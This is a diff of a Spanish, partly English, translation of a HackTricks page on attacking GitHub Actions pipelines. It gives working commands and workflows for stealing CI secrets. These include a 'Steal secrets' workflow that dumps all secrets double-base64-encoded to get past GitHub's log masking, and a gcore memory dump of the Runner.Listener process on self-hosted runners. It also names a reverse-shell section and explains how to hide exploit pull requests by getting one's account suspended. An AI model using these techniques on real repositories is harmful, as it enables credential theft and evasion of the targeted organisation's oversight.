@@ -442,9 +470,9 @@ Consulta las siguientes páginas:
### Accediendo a secretos <a href="#accessing-secrets" id="accessing-secrets"></a>
Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos:
Si inyectas contenido en un script, es interesante saber cómo puedes acceder a los secretos:
- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**.
- Si el secreto o token está establecido como una **environment variable**, puede accederse directamente desde el entorno usando **`printenv`**.
<details>
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obtener shell inverso con secretos</summary>
<summary>Obtener reverse shell con secretos</summary>
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible.
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno.
- Para una JavaScript action, los secrets se envían a través de environment variables
- ```bash
ps axe | grep node
```
- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**:
- Para una **custom action**, el riesgo puede variar dependiendo de cómo un programa esté usando el secret que obtuvo del **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusando de los runners autoalojados
- Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para volcar todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente:
La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action.
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra.
Decodifica localmente:
En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: para sigilo durante las pruebas, encripta antes de imprimir (openssl is preinstalled on GitHub-hosted runners).
### Abusing Self-hosted runners
La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el Github Action configuration yaml.
**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (vulnerable endpoints in the network? metadata service?) o, incluso si están aislados y destruidos, **more than one action might be run at the same time** y la maliciosa podría **steal the secrets** de la otra.
En los self-hosted runners también es posible obtener the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro de Imágenes Docker de Github
### Registro de imágenes Docker de Github
Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\
Un ejemplo se puede encontrar en el siguiente expandible:
Es posible crear Github Actions que **construyan y almacenen una imagen Docker dentro de Github**.\
Un ejemplo se puede encontrar en el siguiente elemento desplegable:
<details>
<summary>Github Action Build & Push Docker Image</summary>
<summary>Github Action: Compilar y subir imagen Docker</summary>
```yaml
[...]
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Como pudiste ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.
Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.
Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal:
Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un token de acceso personal:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:**
Entonces, el usuario podría buscar **leaked secrets en las capas de imagen de Docker:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Información sensible en los registros de Github Actions
### Información sensible en los logs de Github Actions
Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Aunque **Github** intenta **detectar valores secretos** en los logs de Actions y **evitar mostrarlos**, **otros datos sensibles** que pudieron haberse generado durante la ejecución de la action no serán ocultados. Por ejemplo, un JWT firmado con un valor secreto no será ocultado a menos que esté [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Cubriendo tus Huellas
## Ocultando tus rastros
(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR abierto es claramente visible para el público en Github y para la cuenta objetivo en GitHub. En GitHub, por defecto, **can’t delete a PR of the internet**, pero hay una excepción. Para las cuentas de Github que son **suspendidas** por Github, todos sus **PRs are automatically deleted** y se quitan de internet. Así que, para ocultar tu actividad necesitas o bien conseguir que tu **GitHub account suspended or get your account flagged**. Esto **hide all your activities** en GitHub desde internet (básicamente remove all your exploit PR)
Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “algunas cosas” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, habrás hecho tu exploit invisible en github.
> [!WARNING]
> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de usuario de GitHub el PR sería eliminado.
> La única forma de que una organización descubra que ha sido objetivo es revisar los GitHub logs desde el SIEM, ya que desde la GitHub UI el PR sería eliminado.
## Referencias
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}